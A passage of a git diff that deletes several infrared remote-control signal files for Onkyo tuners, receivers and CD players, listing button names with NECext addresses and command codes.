NECext -address: D2 6D 00 00 -command: 01 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 02 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 03 00 00 00 -# -name: AUDIO_MUTING -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 05 00 00 00 -# -name: LINE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 06 00 00 00 -# -name: TAPE-2 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 07 00 00 00 -# -name: TAPE-1 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 08 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 09 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0A 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0B 00 00 00 -# -name: DECK-B_STOP_[] -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 13 00 00 00 -# -name: DECK-B_PLAY_> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 15 00 00 00 -# -name: DECK-B_R.PLAY_< -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 16 00 00 00 -# -name: DECK-B_REC/PAUSE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 18 00 00 00 -# -name: DECK-B_FFWD_>> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 19 00 00 00 -# -name: DECK-B_REW_<< -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1A 00 00 00 -# -name: CD_PLAY_> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1B 00 00 00 -# -name: CD_STOP_[] -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1C 00 00 00 -# -name: CD_SKIP_>> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1D 00 00 00 -# -name: CD_SKIP_<< -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1E 00 00 00 -# -name: CD_PAUSE_ -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1F 00 00 00 -# -name: TUNER_GROUP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4A 00 00 00 -# -name: DECK-A_STOP_[] -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4D 00 00 00 -# -name: DECK-A_PLAY_> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4E 00 00 00 -# -name: DECK-A_R.PLAY_< -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4F 00 00 00 -# -name: DECK-A_REC/PAUSE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 50 00 00 00 -# -name: DECK-A_FFWD_>> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 51 00 00 00 -# -name: DECK-A_REW_<< -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 52 00 00 00 -# -name: DISC -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 5C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Tuner/210,37.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Tuner/210,37.ir deleted file mode 100644 index b332f3916..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Tuner/210,37.ir +++ /dev/null @@ -1,344 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PRESET_+ -type: parsed -protocol: NECext -address: D2 25 00 00 -command: 00 00 00 00 -# -name: PRESET_> -type: parsed -protocol: NECext -address: D2 25 00 00 -command: 00 00 00 00 -# -name: PRESET_- -type: parsed -protocol: NECext -address: D2 25 00 00 -command: 01 00 00 00 -# -name: PRESET_< -type: parsed -protocol: NECext -address: D2 25 00 00 -command: 01 00 00 00 -# -name: OUTPUT_LEVEL_^ -type: parsed -protocol: NECext -address: D2 25 00 00 -command: 02 00 00 00 -# -name: OUTPUT_LEVEL_V -type: parsed -protocol: NECext -address: D2 25 00 00 -command: 03 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: D2 25 00 00 -command: 04 00 00 00 -# -name: FM_MUTE -type: parsed -protocol: NECext -address: D2 25 00 00 -command: 05 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: D2 25 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: D2 25 00 00 -command: 0D 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: D2 25 00 00 -command: 0E 00 00 00 -# -name: 10 -type: parsed -protocol: NECext -address: D2 25 00 00 -command: 0F 00 00 00 -# -name: SCAN -type: parsed -protocol: NECext -address: D2 25 00 00 -command: 10 00 00 00 -# -name: PRESET_SCAN -type: parsed -protocol: NECext -address: D2 25 00 00 -command: 10 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: D2 25 00 00 -command: 11 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: D2 25 00 00 -command: 12 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: D2 25 00 00 -command: 13 00 00 00 -# -name: 0/10 -type: parsed -protocol: NECext -address: D2 25 00 00 -command: 14 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: D2 25 00 00 -command: 15 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: D2 25 00 00 -command: 16 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: D2 25 00 00 -command: 17 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: D2 25 00 00 -command: 18 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: D2 25 00 00 -command: 19 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: D2 25 00 00 -command: 1A 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: D2 25 00 00 -command: 1C 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: D2 25 00 00 -command: 1E 00 00 00 -# -name: TIMER -type: parsed -protocol: NECext -address: D2 25 00 00 -command: 40 00 00 00 -# -name: TIMER_PRESET_+ -type: parsed -protocol: NECext -address: D2 25 00 00 -command: 40 00 00 00 -# -name: TIMER_PRESET_- -type: parsed -protocol: NECext -address: D2 25 00 00 -command: 41 00 00 00 -# -name: TUNING_+ -type: parsed -protocol: NECext -address: D2 25 00 00 -command: 42 00 00 00 -# -name: TUNING_- -type: parsed -protocol: NECext -address: D2 25 00 00 -command: 43 00 00 00 -# -name: ANTENNA -type: parsed -protocol: NECext -address: D2 25 00 00 -command: 45 00 00 00 -# -name: RF_MODE -type: parsed -protocol: NECext -address: D2 25 00 00 -command: 46 00 00 00 -# -name: IF_BAND -type: parsed -protocol: NECext -address: D2 25 00 00 -command: 47 00 00 00 -# -name: HI-BLEND -type: parsed -protocol: NECext -address: D2 25 00 00 -command: 48 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: D2 25 00 00 -command: 49 00 00 00 -# -name: GROUP -type: parsed -protocol: NECext -address: D2 25 00 00 -command: 4C 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: D2 25 00 00 -command: 4D 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: D2 25 00 00 -command: 4E 00 00 00 -# -name: DIMMER -type: parsed -protocol: NECext -address: D2 25 00 00 -command: 4F 00 00 00 -# -name: 11 -type: parsed -protocol: NECext -address: D2 25 00 00 -command: 50 00 00 00 -# -name: 12 -type: parsed -protocol: NECext -address: D2 25 00 00 -command: 51 00 00 00 -# -name: 13 -type: parsed -protocol: NECext -address: D2 25 00 00 -command: 52 00 00 00 -# -name: 14 -type: parsed -protocol: NECext -address: D2 25 00 00 -command: 53 00 00 00 -# -name: 15 -type: parsed -protocol: NECext -address: D2 25 00 00 -command: 54 00 00 00 -# -name: 16 -type: parsed -protocol: NECext -address: D2 25 00 00 -command: 55 00 00 00 -# -name: 17 -type: parsed -protocol: NECext -address: D2 25 00 00 -command: 56 00 00 00 -# -name: 18 -type: parsed -protocol: NECext -address: D2 25 00 00 -command: 57 00 00 00 -# -name: 19 -type: parsed -protocol: NECext -address: D2 25 00 00 -command: 58 00 00 00 -# -name: 20 -type: parsed -protocol: NECext -address: D2 25 00 00 -command: 59 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: D2 25 00 00 -command: 5A 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: D2 25 00 00 -command: 5B 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: D2 25 00 00 -command: 5C 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: D2 25 00 00 -command: 5D 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: D2 25 00 00 -command: 5E 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: D2 25 00 00 -command: 5F 00 00 00 -# -name: ADJUST -type: parsed -protocol: NECext -address: D2 25 00 00 -command: DE 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown/210,109.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown/210,109.ir deleted file mode 100644 index 78acff6fc..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown/210,109.ir +++ /dev/null @@ -1,614 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TUNER_PRESET_-> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 00 00 00 00 -# -name: TUNER_PRESET_UP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 00 00 00 00 -# -name: TUNER_PRESET_<- -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 01 00 00 00 -# -name: TUNER_PRESET_DOWN -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 01 00 00 00 -# -name: MASTER_VOL_^ -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 02 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 02 00 00 00 -# -name: MASTER_VOL_V -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 03 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 03 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 04 00 00 00 -# -name: AUDIO_MUTING -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 05 00 00 00 -# -name: MUTING -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 05 00 00 00 -# -name: TAPE-2 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 07 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 07 00 00 00 -# -name: TAPE_2 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 07 00 00 00 -# -name: TAPE-1 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 08 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 08 00 00 00 -# -name: TAPE_1 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 08 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 09 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 09 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0A 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0B 00 00 00 -# -name: VCR-2 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0D 00 00 00 -# -name: VIDEO_3 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0D 00 00 00 -# -name: VCR-1 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0E 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0E 00 00 00 -# -name: VDP-1 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0F 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0F 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0F 00 00 00 -# -name: DECK-B_STOP_[] -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 13 00 00 00 -# -name: DECKB_STOP_[] -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 13 00 00 00 -# -name: DECK-B_PLAY_> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 15 00 00 00 -# -name: DECKB_PLAY_> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 15 00 00 00 -# -name: DECK-B_PLAY_REV_< -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 16 00 00 00 -# -name: DECKB_REV_PLAY_< -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 16 00 00 00 -# -name: DECK-B_REC/PAUSE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 18 00 00 00 -# -name: DECKB_REC/PAUSE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 18 00 00 00 -# -name: DECK-B_FFWD_>> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 19 00 00 00 -# -name: DECKB_>> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 19 00 00 00 -# -name: DECK-B_REW_<< -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1A 00 00 00 -# -name: DECKB_<< -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1A 00 00 00 -# -name: CD_PLAY_> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1B 00 00 00 -# -name: CD_STOP_[] -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1C 00 00 00 -# -name: CD_SCAN_FWD_>> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1D 00 00 00 -# -name: CD_>> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1D 00 00 00 -# -name: CD_SCAN_REV_<< -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1E 00 00 00 -# -name: CD_<< -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1E 00 00 00 -# -name: CD_PAUSE_ -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1F 00 00 00 -# -name: REAR_UP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 42 00 00 00 -# -name: REAR_LEVEL_UP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 42 00 00 00 -# -name: REAR_DOWN -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 43 00 00 00 -# -name: REAR_LEVEL_DOWN -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 43 00 00 00 -# -name: TUNER_CLASS -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4A 00 00 00 -# -name: SURROUND_MODE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4C 00 00 00 -# -name: DECK-A_STOP_[] -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4D 00 00 00 -# -name: DECKA_STOP_[] -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4D 00 00 00 -# -name: DECK-A_PLAY_> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4E 00 00 00 -# -name: DECKA_PLAY_> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4E 00 00 00 -# -name: DECK-A_PLAY_REV_< -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4F 00 00 00 -# -name: DECKA_REV_PLAY_< -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4F 00 00 00 -# -name: DECK-A_REC/PAUSE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 50 00 00 00 -# -name: DECKA_REC/PAUSE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 50 00 00 00 -# -name: DECK-A_FFWD_>> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 51 00 00 00 -# -name: DECKA_>> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 51 00 00 00 -# -name: DECK-A_REW_<< -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 52 00 00 00 -# -name: DECKA_<< -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 52 00 00 00 -# -name: SURROUND_DELAY_TIME -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 53 00 00 00 -# -name: DELAY_TIME -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 53 00 00 00 -# -name: MAIN_(SPEAKERS) -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 59 00 00 00 -# -name: B_SUB_ROOM_REMOTE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 5A 00 00 00 -# -name: CD_DISC -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 5C 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 5D 00 00 00 -# -name: PHONO_PLAY/REJECT -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 5F 00 00 00 -# -name: CENTER_UP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 80 00 00 00 -# -name: CENTER_LEVEL_UP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 80 00 00 00 -# -name: CENTER_DOWN -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 81 00 00 00 -# -name: CENTER_LEVEL_DOWN -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 81 00 00 00 -# -name: CURSOR_^ -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 82 00 00 00 -# -name: CURSOR_V -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 83 00 00 00 -# -name: CURSOR_< -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 84 00 00 00 -# -name: CURSOR_> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 85 00 00 00 -# -name: DIMMER_(SPEAKERS) -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 95 00 00 00 -# -name: ENTER/ESCAPE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 97 00 00 00 -# -name: CENTER_ON/OFF -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 98 00 00 00 -# -name: CENTER_MODE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 99 00 00 00 -# -name: SURROUND_TEST -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 9A 00 00 00 -# -name: TEST -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 9A 00 00 00 -# -name: VDP-2 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 9F 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 9F 00 00 00 -# -name: VIDEO_4 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 9F 00 00 00 -# -name: B_SUB_ROOM_CD -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: B_SUB_ROOM_PHONO -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: B_SUB_ROOM_TAPE_1 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: B_SUB_ROOM_TAPE_2 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: B_SUB_ROOM_TUNER -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: B_SUB_ROOM_VIDEO_1 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: B_SUB_ROOM_VIDEO_2 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: B_SUB_ROOM_VIDEO_3 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: B_SUB_ROOM_VIDEO_4 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown/210,44.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown/210,44.ir deleted file mode 100644 index ed97b8631..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown/210,44.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 00 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 01 00 00 00 -# -name: NEXT_SELECTION -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 05 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 06 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 08 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 09 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 0B 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 0C 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 0D 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 0E 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 0F 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 10 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 11 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 12 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 13 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 18 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 19 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 1A 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 1B 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 1C 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 1D 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 1E 00 00 00 -# -name: PAUSE_ -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 1F 00 00 00 -# -name: DISC_INTRO_SCAN -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 45 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 46 00 00 00 -# -name: DISC_1 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: D5 00 00 00 -# -name: DISC_2 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: D6 00 00 00 -# -name: DISC_3 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: D7 00 00 00 -# -name: DISC_4 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: D8 00 00 00 -# -name: DISC_5 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: D9 00 00 00 -# -name: DISC_6 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: DA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_CR-70R/210,109.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_CR-70R/210,109.ir deleted file mode 100644 index bbed71598..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_CR-70R/210,109.ir +++ /dev/null @@ -1,176 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TUNER_PRESET_NEXT -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 00 00 00 00 -# -name: TUNER_PRESET_PREVIOUS -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 01 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 02 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 03 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 04 00 00 00 -# -name: MUTING -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 05 00 00 00 -# -name: INPUT_SELECTOR_LINE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 06 00 00 00 -# -name: INPUT_SELECTOR_TAPE-2 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 07 00 00 00 -# -name: INPUT_SELECTOR_TAPE-1 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 08 00 00 00 -# -name: INPUT_SELECTOR_CD -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 09 00 00 00 -# -name: INPUT_SELECTOR_FM -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0B 00 00 00 -# -name: DECK-B_STOP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 13 00 00 00 -# -name: DECK-B_FORWARD_PLAY -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 15 00 00 00 -# -name: DECK-B_REVERSE_PLAY -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 16 00 00 00 -# -name: DECK-B_RECORD_PAUSE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 18 00 00 00 -# -name: DECK-B_FAST_FORWARD -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 19 00 00 00 -# -name: DECK-B_FAST_REWIND -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1A 00 00 00 -# -name: CD_PLAY -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1B 00 00 00 -# -name: CD_STOP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1C 00 00 00 -# -name: CD_NEXT_TRACK -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1D 00 00 00 -# -name: CD_PREVIOUS_TRACK -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1E 00 00 00 -# -name: CD_PAUSE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1F 00 00 00 -# -name: TUNER_GROUP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4A 00 00 00 -# -name: DECK-A_STOP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4D 00 00 00 -# -name: DECK-A_FORWARD_PLAY -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4E 00 00 00 -# -name: DECK-A_REVERSE_PLAY -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4F 00 00 00 -# -name: DECK-A_FAST_FORWARD -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 51 00 00 00 -# -name: DECK-A_FAST_REWIND -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 52 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 5D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_Onkyo/160,10.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_Onkyo/160,10.ir deleted file mode 100644 index e50a428cb..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_Onkyo/160,10.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 00 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 0A 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 10 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 11 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 12 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 13 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 14 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 15 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 16 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 17 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 18 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 19 00 00 00 -# -name: Output+ -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 20 00 00 00 -# -name: Output- -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 21 00 00 00 -# -name: M.Scan -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 46 00 00 00 -# -name: RepeatAll -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 47 00 00 00 -# -name: RepeatA-B -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 48 00 00 00 -# -name: Skip/Search_Back -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 49 00 00 00 -# -name: 